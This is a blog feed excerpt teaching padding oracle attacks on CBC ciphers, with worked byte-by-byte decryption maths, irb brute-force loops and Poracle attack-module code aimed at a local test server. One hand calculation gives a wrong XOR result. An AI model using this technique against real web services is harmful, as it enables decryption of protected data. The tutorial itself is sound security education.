  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x07 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xc9

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x07 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x21

  C&prime;[6] = P&prime;<sub>2</sub>[6] ⊕ P<sub>2</sub>[6] ⊕ C<sub>1</sub>[6]
  C&prime;[6] = 0x07 ⊕ 0x05 ⊕ 0xd1
  C&prime;[6] = 0xd2

  C&prime;[5] = P&prime;<sub>2</sub>[5] ⊕ P<sub>2</sub>[5] ⊕ C<sub>1</sub>[5]
  C&prime;[5] = 0x07 ⊕ 0x05 ⊕ 0xe6
  C&prime;[5] = 0xe5

  C&prime;[4] = P&prime;<sub>2</sub>[4] ⊕ P<sub>2</sub>[4] ⊕ C<sub>1</sub>[4]
  C&prime;[4] = 0x07 ⊕ 0x05 ⊕ 0x51
  C&prime;[4] = 0x52

  C&prime;[3] = P&prime;<sub>2</sub>[3] ⊕ P<sub>2</sub>[3] ⊕ C<sub>1</sub>[3]
  C&prime;[3] = 0x07 ⊕ 0x64 ⊕ 0x0d
  C&prime;[3] = 0x52
</pre>
<p>The program:</p>
<pre>
  irb(main):<span class="Constant">104</span>:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):<span class="Constant">105</span>:<span class="Constant">1</span>*   cprime = <span class="Special">&quot;</span><span class="Special">\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\x6e\x53\xe4\xd3\x20\xc8</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">106</span>:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):<span class="Constant">107</span>:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">138</span>: 008a6e53e4d320c83faf089c7a924a7b
</pre>
<p>The calculation:</p>
<pre>
  P<sub>2</sub>[2] = P&prime;<sub>2</sub>[2] ⊕ C<sub>1</sub>[2] ⊕ C&prime;[2]
  P<sub>2</sub>[2] = 0x07 ⊕ 0xe1 ⊕ 0x8a
  P<sub>2</sub>[2] = 0x6c = "l"
</pre>
<p>The value we know for P<sub>2</sub> is "?ld\x05\x05\x05\x05\x05"</p>
<h2>Last block!</h2>
<p>For the last block &mdash; and the last time I ever do a padding oracle calculation by hand &mdash; we calculate C&prime; for "\x08\x08\x08\x08\x08\x08\x08":</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x08 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xc7

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x08 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x2f

  C&prime;[6] = P&prime;<sub>2</sub>[6] ⊕ P<sub>2</sub>[6] ⊕ C<sub>1</sub>[6]
  C&prime;[6] = 0x08 ⊕ 0x05 ⊕ 0xd1
  C&prime;[6] = 0xdc

  C&prime;[5] = P&prime;<sub>2</sub>[5] ⊕ P<sub>2</sub>[5] ⊕ C<sub>1</sub>[5]
  C&prime;[5] = 0x08 ⊕ 0x05 ⊕ 0xe6
  C&prime;[5] = 0xeb

  C&prime;[4] = P&prime;<sub>2</sub>[4] ⊕ P<sub>2</sub>[4] ⊕ C<sub>1</sub>[4]
  C&prime;[4] = 0x08 ⊕ 0x05 ⊕ 0x51
  C&prime;[4] = 0x5c

  C&prime;[3] = P&prime;<sub>2</sub>[3] ⊕ P<sub>2</sub>[3] ⊕ C<sub>1</sub>[3]
  C&prime;[3] = 0x08 ⊕ 0x64 ⊕ 0x0d
  C&prime;[3] = 0x61

  C&prime;[2] = P&prime;<sub>2</sub>[2] ⊕ P<sub>2</sub>[2] ⊕ C<sub>1</sub>[2]
  C&prime;[2] = 0x08 ⊕ 0x6c ⊕ 0xe1
  C&prime;[2] = 0x85
</pre>
<p>Then the program:</p>
<pre>
  irb(main):<span class="Constant">112</span>:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):<span class="Constant">113</span>:<span class="Constant">1</span>*   cprime = <span class="Special">&quot;</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\x85\x61\x5c\xeb\xdc\x2f\xc7</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">114</span>:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):<span class="Constant">115</span>:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">249</span>: f985615cebdc2fc73faf089c7a924a7b
</pre>
<p>And, finally, we calculate the character one last time:</p>
<pre>
  P<sub>2</sub>[1] = P&prime;<sub>2</sub>[1] ⊕ C<sub>1</sub>[1] ⊕ C&prime;[1]
  P<sub>2</sub>[1] = 0x08 ⊕ 0x83 ⊕ 0xf9
  P<sub>2</sub>[1] = 0x72 = "r"
</pre>
<p>The value we know for P<sub>2</sub> is "rld\x05\x05\x05\x05\x05"</p>
<h2>Conclusion</h2>
<p>So, you've seen the math behind how we can decrypt a full block of a CBC cipher (specifically, DES) using only a padding oracle. The previous block would be decrypted the exact same way, and would wind up as "Hello Wo". </p>
<p>Hopefully this demonstration will help you understand what's going on! Padding oracles, once you really understand them, are one of the simplest vulnerabilities to exploit!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2013/a-padding-oracle-example/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Padding oracle attacks: in depth</title>
		<link>http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth</link>
		<comments>http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth#comments</comments>
		<pubDate>Wed, 02 Jan 2013 16:59:43 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Crypto]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1318</guid>
		<description><![CDATA[This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github! At my previous job &#8212; Tenable Network Security &#8212; one of the first tasks I ever had was to write a vulnerability check for MS10-070 &#8212; a [...]]]></description>
			<content:encoded><![CDATA[<style>
<!--
pre { font-family: monospace; color: #c0c0c0; background-color: #000040; }
.Statement { color: #ffff60; }
.Special { color: #ffa500; }
.PreProc { color: #ff80ff; }
.Comment { color: #80a0ff; }
.Constant { color: #ffa0a0; }
.Type { color: #60ff60; }
.Identifier { color: #40ffff; }
-->
</style>
<p>This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. <strong>You can grab the Poracle tool on <a href="https://www.github.com/iagox86/Poracle">Github</a>!</strong></p>
<p>At my previous job &mdash; <a href="http://www.tenable.com/">Tenable Network Security</a> &mdash; one of the first tasks I ever had was to write a <a href="http://www.tenable.com/plugins/index.php?view=single&#038;id=49806">vulnerability check</a> for <a href="http://technet.microsoft.com/en-ca/security/Bulletin/MS10-070">MS10-070</a> &mdash; a padding oracle vulnerability in ASP.net. It's an interesting use of a padding oracle vulnerability, since it leads to code execution, but this blog is going to be a more general overview of padding oracles. When I needed to test this vuln, I couldn't find a good writeup on how they work. The descriptions I did find were very technical and academic, which I'm no good at. In fact, when it comes to reading academic papers, I'm clueless and easily frightened. But, I struggled through them, and now I'm gonna give you a writeup that even I'd be able to understand!</p>
<p>By the way, the <a href="http://en.wikipedia.org/wiki/Padding_oracle_attack">Wikipedia page</a> for this attack isn't very good. If somebody wants to summarize my blog and make it into a Wikipedia page, there's now a source you can reference. :)</p>
<p>On a related note, I'm gonna be speaking at <a href="http://shmoocon.org/">Shmoocon</a> in February: "Crypto: You're doing it wrong". Among other things, I plan to talk about padding oracles and hash extension attacks &mdash; I'm really getting into this crypto thing!</p>
<h2>Overview</h2>
<p>Padding oracle attacks &mdash; also known as Vaudenay attacks &mdash; were originally <a href="http://lasec.epfl.ch/php_code/publications/search.php?ref=Vau02a">published</a> in 2002 by <a href="https://en.wikipedia.org/wiki/Serge_Vaudenay">Serge Vaudenay</a>. As I mentioned earlier, in 2010 it was used for code execution in ASP.net.</p>
<p>First, let's look at the definition of an "oracle". This has nothing to do with the Oracle database or the company that makes Java &mdash; they have enough vulnerabilities of their own without this one (well, actually, Java Server Faces ironically suffered from a padding oracle vulnerability, but I think that's before Oracle owned them). In cryptography, an <a href="http://blog.cryptographyengineering.com/2011/09/what-is-random-oracle-model-and-why.html">oracle</a> &mdash; much like the <a href="https://en.wikipedia.org/wiki/Pythia">Oracle of Delphi</a> &mdash; is a system that will perform given cryptographic operations on behalf of the user (otherwise known as the attacker). A padding oracle is a specific type of oracle that will take encrypted data from the user, attempt to decrypt it privately, then reveal whether or not the padding is correct. We'll get into what padding is and why it matters soon enough.</p>
<h2>Example</h2>
<p>Okay, so we need an oracle that will decrypt arbitrary data, secretly. When the heck does that happen?</p>
<p>Well, it turns out, it happens a lot. Every time there's an encrypted connection, in fact, one side is sending the other data that the latter attempts to decrypt. Of course, to do anything interesting in that situation, it requires a man-in-the-middle attack &mdash; or something similar &mdash; and a protocol that allows unlimited retries to actually be interesting. For the purposes of simplicity, let's look at something easier.</p>
<p>Frequently &mdash; in a practice that I don't think is a great idea &mdash; a Web server will entrust a client with encrypted data in either a cookie or a hidden field. The advantage to doing this is that the server doesn't need to maintain state &mdash; the client holds the state. The disadvantage is that, if the client can find a way to modify the encrypted data, they can play with private state information. Not good. In the case of ASP.net, this was enough to read/write to the filesystem.</p>
<p>So, for the purpose of this discussion, let's imagine a Web server that puts data in a hidden field/cookie and attempts to decrypt the data when the client returns it, then reveals to the client whether or not the padding was correct, for example by returning a Web page with the user logged-in.</p>
<h2>Block ciphers</h2>
<p>All right, now that we have the situation in mind, let's take a step back and look at block ciphers.</p>
<p>A block cipher operates on data in fixed-size blocks &mdash; 64-bit for DES, 128-bit for AES, etc. It encrypts each block then moves onto the next one, and the next one, and so on. When the data is decrypted, it also starts with the first block, then the next, and so on.</p>
<p>This leads to two questions:</p>
<ol>
<li>What happens if the length of the data isn't a multiple of the block size?</li>
<li>What happens if more than one block is identical, and therefore encrypts identically?</li>
</ol>
<p>Let's look at each of those situations...</p>
<h3>Padding</h3>
<p>Padding, padding, padding. Always with the padding. So, every group of cryptographic standards uses different padding schemes. I don't know why. There may be a great reason, but I'm not a mathematician or a cryptographer, and I don't understand it. In the <a href="http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks">hash extension</a> blog I wrote awhile back, I talked about how hashing algorithms pad &mdash; by adding a 1 bit, followed by a bunch of 0 bits, then the length (so, in terms of bytes, "<tt>\x80\x00\x00\x00 ... &lt;length&gt;</tt>"). That's not how block ciphers pad.</p>
<p>Every block cipher I've seen uses <a href="https://en.wikipedia.org/wiki/Padding_(cryptography)#Byte_padding">PKCS7</a> for padding. PKCS7 says that the value to pad with is the number of bytes of padding that are required. So, if the blocksize is 8 bytes and we have the string "<tt>ABC</tt>", it would be padded "<tt>ABC\x05\x05\x05\x05\x05</tt>". If we had "<tt>ABCDEFG</tt>", with padding it would become "<tt>ABCDEFG\x01</tt>".</p>
<p>Additionally, if the string is a multiple of the blocksize, an empty block of only padding is appended. This may sound weird &mdash; why use padding when you don't need it? &mdash; but it turns out that you couldn't otherwise distinguish, for example, the string "<tt>ABCDEFG\x01</tt>" from "<tt>ABCDEFG</tt>" (the "<tt>\x01</tt>" at the end looks like padding, but in reality it's part of the string). Therefore, "<tt>ABCDEFGH</tt>", with padding, would become "<tt>ABCDEFGH\x08\x08\x08\x08\x08\x08\x08\x08</tt>".</p>
<h3>Exclusive or (XOR)</h3>
<p>This is just a very quick note on the exclusive or &mdash; XOR &mdash; operator, for those of you who may not be familiar with its crypto usage. XOR &mdash; denoted as '⊕' throughout this document and usually denoted as '^' in programming languages &mdash; is a bitwise operator that is used, in crypto, to mix two values together in a reversible way. A plaintext XORed with a key creates ciphertext, and XORing it with that the key again restores the plaintext. It is used for basically every type of encryption in some form, due to this reversible properly, and the fact that once it's been XORed, it doesn't reveal any information about either value.</p>
<p>XOR is also commutative and a bunch of other mathy stuff. To put it into writing:</p>
<pre>
  A ⊕ A = 0
  A ⊕ 0 = A
  A ⊕ B = B ⊕ A
  (A ⊕ B) ⊕ C = A ⊕ (B ⊕ C)
  ∴ A ⊕ B ⊕ B = A ⊕ (B ⊕ B) = A ⊕ 0 = A
</pre>
<p>If you don't fully understand every line, please read up on the bitwise XOR operator before you continue! You won't understand any of this otherwise. You need to be very comfortable with how XOR works.</p>
<p>When we talk about XORing, it could mean a few things:</p>
<ul>
<li>When we talk about XORing bits, we simply XOR together the two arguments (0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0)</li>
<li>When we talk about XORing bytes, we XOR each bit in the first argument with the corresponding bit in the second</li>
<li>When we talk about XORing strings, we XOR each byte in the first string with the corresponding byte in the second. If they have different lengths there's a problem in the algorithm and any result is invalid</li>
</ul>
<h3>Cipher-block chaining (CBC)</h3>
<p>Now, this is where things get interesting. CBC. And not the Canadian television station, either &mdash; the cryptographic construct. This is what ensures that no two blocks &mdash; even if they contain identical plaintext &mdash; will encrypt to the same ciphertext. It does this by mixing the ciphertext from the previous round into the plaintext of the next round using the XOR operator. In mathematical notation:</p>
<pre>
  Let P   = the plaintext, and P<sub>n</sub> = the plaintext of block n.
  Let C   = the corresponding ciphertext, and C<sub>n</sub> = the ciphertext of block n.
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition).
  Let IV  = the initialization vector &mdash; a random string &mdash; frequently
            (incorrectly) set to all zeroes.
  Let E() = a single-block encryption operation (any block encryption algorithm, such
            as AES or DES, it doesn't matter which), with some unique and unknown (to
            the attacker) secret key (that we don't notate here).
  Let D() = the corresponding decryption operation.
</pre>
<p>We can then define the encrypted ciphertext &mdash; C &mdash; in terms of the encryption algorithm, the plaintext, and the initialization vector:</p>
<pre>
  C<sub>1</sub> = E(P<sub>1</sub> ⊕ IV)
  C<sub>n</sub> = E(P<sub>n</sub> ⊕ C<sub>n-1</sub>) &mdash; for all n &gt; 1
</pre>
<p>You can use this <a href="https://en.wikipedia.org/wiki/File:Cbc_encryption.png">Wikipedia diagram</a> to help understand.</p>
<p>In English, the first block of plaintext is XORed with an initialization vector. The rest of the blocks of plaintext are XORed with the previous block of ciphertext. Thinking of the IV as C<sub>0</sub> can be helpful.</p>
<p>Decryption is the opposite:</p>
<pre>
  P<sub>1</sub> = D(C<sub>1</sub>) ⊕ IV
  P<sub>n</sub> = D(C<sub>n</sub>) ⊕ C<sub>n-1</sub> - for all n &gt; 1
</pre>
<p>You can use this <a href="https://en.wikipedia.org/wiki/File:Cbc_decryption.png">Wikipedia diagram</a> to help understand.</p>
<p>In English, this means that the first block of ciphertext is decrypted, then XORed with the IV. Remaining blocks are decrypted then XORed with the previous block of ciphertext. Note that <em>this operation is between a ciphertext block &mdash; that we control &mdash; and a plaintext block &mdash; that we're interested in</em>. This is important.</p>
<p><em>Once all blocks are decrypted, the padding on the last block is validated</em>. This is also important.</p>
<h2>The attack</h2>
<p>Guess what? We now know enough to pull of this attack. But it's complicated and requires math, so let's be slow and gentle. [Editor's note: <a href="https://en.wikipedia.org/wiki/Said_the_actress_to_the_bishop">TWSS</a>]</p>
<p>First, the attacker breaks the ciphertext into the individual blocks, based on the blocksize of the algorithm. We're going to decrypt each of these blocks separately. This can be done in any order, but going from the last to the first makes the most sense. C<sub>N</sub> &mdash; remembering that C is the ciphertext and N is the number of blocks &mdash; is the value we're going to attack first.</p>
<p>Next, the attacker generates his own block of ciphertext. It doesn't matter what it decrypts to or what the value is. Typically we start with all zeroes, but any random text will work fine. In the tool I'm releasing, this is optimized for ASCII text, but that's beyond the scope of this discussion. We're going to denote this block as C&prime;.</p>
<p>The attacker creates the string (C&prime; || C<sub>n</sub>) &mdash; "||" is the concatenation operator in crypto notation &mdash; and sends it to the oracle for decryption. The oracle attempts to decrypt the string as follows:</p>
<pre>
  Let C&prime;     = our custom-generated ciphertext block
  Let C&prime;[k]  = the k<sup>th</sup> byte of our custom-generated ciphertext block
  Let P&prime;     = the plaintext generated by decrypting our string, (C&prime; || C<sub>n</sub>)
  Let P&prime;<sub>n</sub>    = the n<sup>th</sup> block of P&prime;
  Let P&prime;<sub>n</sub>[k] = k<sup>th</sup> byte of the n<sup>th</sup> plaintext block
  Let K      = the number of bytes in each block
</pre>
<p>Now, we can define P&prime; in terms of our custom ciphertext, the IV, and the decryption function:</p>
<pre>
  P&prime;<sub>1</sub> = D(C&prime;) ⊕ IV
  P&prime;<sub>2</sub> = D(C<sub>N</sub>) ⊕ C&prime;
</pre>
<p>This shows the two blocks we created being decrypted in the usual way &mdash; P<sub>n</sub> = D(C<sub>n</sub>) ⊕ C<sub>n-1</sub>.</p>
<p>P&prime;<sub>1</sub> is going to be meaningless garbage &mdash; we don't care what it decrypts to &mdash; but P&prime;<sub>2</sub> is where it gets interesting! Let's look more closely at P&prime;<sub>2</sub>:</p>
<pre>
  Given:       P&prime;<sub>2</sub> = D(C<sub>n</sub>) ⊕ C&prime;
  And knowing: C<sub>n</sub>  = E(P<sub>n</sub> ⊕ C<sub>n-1</sub>)
  Implies:     P&prime;<sub>2</sub> = D(E(P<sub>n</sub> ⊕ C<sub>n-1</sub>)) ⊕ C&prime;
</pre>
<p>Remember, the variables marked with prime &mdash; &prime; &mdash; are ones that result from our custom equation, and variables without a prime are ones from the original equation.</p>
<p>We know that D(E(x)) = x, by the definition of encryption, so we can reduce the most recent formula to:</p>
<pre>
  P&prime;<sub>2</sub> = P<sub>n</sub> ⊕ C<sub>n-1</sub> ⊕ C&prime;
</pre>
<p>Now we have four values in our equation:</p>
<ul>
<li>P&prime;<sub>2</sub>: An unknown value that the server calculates during our "attack" (more on this later).</li>
<li>P<sub>n</sub>: An unknown value that we want to determine, from the original plaintext.</li>
<li>C<sub>n-1</sub>: A known value from the original ciphertext.</li>
<li>C&prime;: A value that we control, and can change at will.</li>
</ul>
<p>You might see where we're going with this! Notice that we have a formula for P<sub>n</sub> that <em>doesn't contain any encryption operations</em>, just XOR!</p>
<p>The problem is, we have two unknown values: we don't know P&prime;<sub>2</sub> or P<sub>n</sub>. A formula with two unknowns can't be solved, so we're outta luck, right?</p>
<p>Or are we?</p>
<h3>Here comes the oracle!</h3>
<p>Remember, we have one more piece of information &mdash; the padding oracle! That means that we can actually determine when P&prime;<sub>2</sub>[K] &mdash; the last byte of P&prime;<sub>2</sub> &mdash; is equal to "<tt>\x01</tt>" (in other words, we can determine when P&prime;<sub>2</sub> has valid padding)!</p>
<p>So now, let's take the formula we were using earlier, but instead of looking at the full strings, we'll look specifically at the last character of the encrypted strings:</p>
<pre>
  P&prime;<sub>2</sub>[K] = P<sub>n</sub>[K] ⊕ C<sub>n-1</sub>[K] ⊕ C&prime;[K]
</pre>
<p>We send (C&prime; || C<sub>n</sub>) to the oracle with every possible value of C&prime;[K], until we find a value that doesn't generate a padding error. When we find that value, we know beyond any doubt that the value at P&prime;<sub>2</sub>[K] is "<tt>\x01</tt>". Otherwise, the padding would be wrong. It HAS to be that way (actually, that's not entirely true, it can be "<tt>\x02</tt>" if P&prime;<sub>2</sub>[K-1] is "<tt>\x02</tt>" as well &mdash; we'll deal with that later).</p>
<p>At that point, we have the following variables:</p>
<ul>
<li>P&prime;<sub>2</sub>[K]: The valid padding value ("\x01").</li>
<li>P<sub>n</sub>[K]: The last byte of plaintext &mdash; our unknown value.</li>
<li>C<sub>n-1</sub>[K]: The last byte of the previous block of ciphertext &mdash; a known value.</li>
<li>C&prime;[K]: The byte we control &mdash; and previously modified &mdash; to create the valid padding.</li>
</ul>
<p>All right, we have three known variables! Let's re-write the equation a little &mdash; XOR being <a href="http://en.wikipedia.org/wiki/Commutative_property#Rule_of_replacement">commutative</a>, we're allowed to move variables around at will:</p>
<pre>
  Original:       P&prime;<sub>2</sub>[K] = P<sub>n</sub>[K] ⊕ C<sub>n-1</sub>[K] ⊕ C&prime;[K]
  Re-arranged:    P<sub>n</sub>[K] = P&prime;<sub>2</sub>[K] ⊕ C<sub>n-1</sub>[K] ⊕ C&prime;[K]
  Substitute "1": P<sub>n</sub>[K] = 1 ⊕ C<sub>n-1</sub>[K] ⊕ C&prime;[K]
</pre>
<p>We just defined P<sub>n</sub>[K] using three known variables! That means that we plug in the values, and "turn the crank" as my former physics prof used to say, and we get the last byte of plaintext. Why? Because MATH!</p>
<h3>Stepping back a bit</h3>
<p>So, the math checks out, but what's going on conceptually?</p>
<p>Have another look at the <a href="https://en.wikipedia.org/wiki/File:Cbc_decryption.png">Wikipedia diagram</a> of cipher-block chaining. We're interested in the box in the very bottom-right corner &mdash; the padding. That value, as you can see on the diagram, is equal to the ciphertext left of it, XORed with the decrypted text above it.</p>
<p>Notice that there's no actual crypto that we have to defeat &mdash; just the XOR operation between a known value and the unknown value to produce a known value. Pretty slick, eh? Fuck your keys and transposition and s-boxes &mdash; I just broke your encryption after you did all that for me! :)</p>
<h3>Iterating</h3>
<p>So, we now know the value of the last character of P<sub>N</sub>. That's pretty awesome, but it's also pretty boring, because the last byte is guaranteed to be padding (well, only if this is the last block). The question is, how do we get the second-, third-, and fourth-last bytes?</p>
<p>How do we calculate P<sub>N</sub>[K-1]? Well, it turns out that it's pretty simple. If you've been following so far, you can probably already see it.</p>
<p>First, we have to set C&prime;[K] to an appropriate value such that P&prime;[K] = 2. Why 2? Because we are now interested the second-last byte of P&prime;<sub>N</sub>, and we can determine it by setting the last byte to 2, and trying every possible value of C&prime;[K-1] until we stop getting padding errors, confirming that P&prime;<sub>N</sub> ends with "\x02\x02".</p>
<p>Ensuring that P&prime;[K] = 2 easy (although you don't realize <em>how</em> easy until you realize how long it took me to work out and explain this formula for the blog); we just take this formula that we derived earlier, plug in '2' for P&prime;[K], and solve for C&prime;[K]:</p>
<pre>
  We have:         C&prime;[K] = P&prime;<sub>2</sub>[K] ⊕ P<sub>N</sub>[K] ⊕ C<sub>N-1</sub>[K]
  Plug in the "2": C&prime;[K] = 2 ⊕ P<sub>N</sub>[K] ⊕ C<sub>N-1</sub>[K]
</pre>
<p>Where our variables are defined as:</p>
<ul>
<li>C&prime;[K] &mdash; The last byte in the C&prime; block, which we're sending to the oracle and that we fully control.</li>
<li>P<sub>N</sub>[K] &mdash; The last byte in this block's plaintext, which we've solved for already.</li>
<li>C<sub>N-1</sub>[K] &mdash; The last byte in the previous ciphertext block, which we know.</li>
</ul>
<p>I don't think I have to tell you how to calculate P<sub>N</sub>[K-2], P<sub>N</sub>[K-3], etc. It's the same principle, applied over and over from the end to the beginning.</p>
<h3>A tricky little thing called the IV</h3>
<p>In the same way that we can solve the last block of plaintext &mdash; P<sub>N</sub> &mdash; we can also solve other blocks P<sub>N-1</sub>, P<sub>N-2</sub>, etc. In fact, you don't even have to solve from right to left &mdash; each block can be solved in a vacuum, as long as you know the ciphertext value of the previous block.</p>
<p>...which brings us to the first block, P<sub>1</sub>. Earlier, we stated that P<sub>1</sub> is defined as:</p>
<pre>
  P<sub>1</sub> = D(C<sub>1</sub>) ⊕ IV
</pre>
<p>The "last block" value for P<sub>1</sub> &mdash; the block we've been calling C<sub>n-1</sub> &mdash; is the IV. So what do you do?</p>
<p>Well, as far as I can tell, there's no easy answer. Some of the less easy answers are:</p>
<ul>
<li>Try a null IV &mdash; many implementations won't set an IV &mdash; which, of course, has its own set of problems. But it's common, so it's worth trying.</li>
<li>If you can influence text near the beginning of the encrypted string &mdash; say, a username &mdash; use as much data as possible to force the first block to be filled with stuff we don't want anyway.</li>
<li>Find a way to reveal the IV, which is fairly unlikely to happen.</li>
<li>If you can influence the hashing algorithm, try using an algorithm with a shorter blocksize (like DES, which has a blocksize of 64 bits &mdash; only 8 bytes).</li>
<li>If all else fails, you're outta luck, and you're only getting the second block and onwards. Sorry!</li>
</ul>
<h2>Poracle</h2>
<p>If you follow my blog, you know that I rarely talk about an interesting concept without releasing a tool. That ain't how I roll. So, I present to you: <a href="https://www.github.com/iagox86/Poracle">Poracle</a> (short for 'padding oracle', get it?)</p>
<p>Poracle is a library that I put together in Ruby. It's actually really, really simple. You have to code a module for the particular attack &mdash; unfortunately, because every attack is different, I can't make it any simpler than that. The module needs to implement a couple simple methods for getting values &mdash; like the blocksize and, if possible, the IV. The most important method, however, is <tt>attempt_decrypt()</tt>. It must attempt to decrypt the given block and return a boolean value based on its success &mdash; true if the padding was good, and false if it was not. Here's an example of a module I wrote for a HTTP service:</p>
<pre>
<span class="Comment">##</span>
<span class="Comment"># RemoteTestModule.rb</span>
<span class="Comment"># Created: December 10, 2012</span>
<span class="Comment"># By: Ron Bowes</span>
<span class="Comment">#</span>
<span class="Comment"># A very simple implementation of a Padding Oracle module. Basically, it</span>
<span class="Comment"># performs the attack against an instance of RemoteTestServer, which is an</span>
<span class="Comment"># ideal padding oracle target.</span>
<span class="Comment">##</span>
<span class="Comment">#</span>
<span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">httparty</span><span class="Special">'</span>

<span class="PreProc">class</span> <span class="Type">RemoteTestModule</span>
  <span class="Statement">attr_reader</span> <span class="Constant">:iv</span>, <span class="Constant">:data</span>, <span class="Constant">:blocksize</span>

  <span class="Type">NAME</span> = <span class="Special">"</span><span class="Constant">RemoteTestModule(tm)</span><span class="Special">"</span>

  <span class="PreProc">def</span> <span class="Identifier">initialize</span>()
    <span class="Identifier">@data</span> = <span class="Type">HTTParty</span>.get(<span class="Special">"</span><span class="Constant"><a href="http://localhost:20222/encrypt">http://localhost:20222/encrypt</a></span><span class="Special">"</span>).parsed_response
    <span class="Identifier">@data</span> = [<span class="Identifier">@data</span>].pack(<span class="Special">"</span><span class="Constant">H*</span><span class="Special">"</span>)
    <span class="Identifier">@iv</span> = <span class="Constant">nil</span>
    <span class="Identifier">@blocksize</span> = <span class="Constant">16</span>
  <span class="PreProc">end</span>

  <span class="PreProc">def</span> <span class="Identifier">attempt_decrypt</span>(data)
    result = <span class="Type">HTTParty</span>.get(<span class="Special">"</span><span class="Constant"><a href="http://localhost:20222/decrypt/">http://localhost:20222/decrypt/</a></span><span class="Special">#{</span>data.unpack(<span class="Special">"</span><span class="Constant">H*</span><span class="Special">"</span>).pop<span class="Special">}</span><span class="Special">"</span>)

    <span class="Statement">return</span> result.parsed_response !~ <span class="Special">/</span><span class="Constant">Fail</span><span class="Special">/</span>
  <span class="PreProc">end</span>

  <span class="PreProc">def</span> <span class="Identifier">character_set</span>()
    <span class="Comment"># Return the perfectly optimal string, as a demonstration</span>
    <span class="Statement">return</span> <span class="Special">'</span><span class="Constant"> earnisoctldpukhmf,gSywb0.vWD21</span><span class="Special">'</span>.chars.to_a
  <span class="PreProc">end</span>
<span class="PreProc">end</span>
</pre>
<p>Then, you create a new instance of the Poracle class, pass in your module, and call the <tt>decrypt()</tt> method. Poracle will do the rest! It looks something like this:</p>
<pre>
<span class="lnr">1 </span><span class="Statement">begin</span>
<span class="lnr">2 </span>  mod = <span class="Type">RemoteTestModule</span>.new
<span class="lnr">3 </span>  puts <span class="Type">Poracle</span>.decrypt(mod, mod.data, mod.iv, <span class="Constant">true</span>, <span class="Constant">true</span>)
<span class="lnr">4 </span><span class="Statement">rescue</span> <span class="Type">Errno</span>::<span class="Type">ECONNREFUSED</span> =&gt; e
<span class="lnr">5 </span>  puts(e.class)
<span class="lnr">6 </span>  puts(<span class="Special">"</span><span class="Constant">Couldn't connect to remote server: </span><span class="Special">#{</span>e<span class="Special">}</span><span class="Special">"</span>)
<span class="lnr">7 </span><span class="Statement">end</span>
</pre>
<p>For more information, grab <a href="https://github.com/iagox86/poracle/blob/master/Poracle.rb">Poracle.rb</a> and read the header comments. It'll be more complete and up-to-date than this blog post can ever be.</p>
<p>I implemented a couple test modules &mdash; a local and a remote. <a href="https://github.com/iagox86/poracle/blob/master/LocalTestModule.rb">LocalTestModule.rb</a> will generate its own ciphertext with any algorithm you want, then <tt>attempt_decrypt()</tt> simply tries to decrypt it in-line. Not very interesting, but good to make sure I didn't break anything.</p>
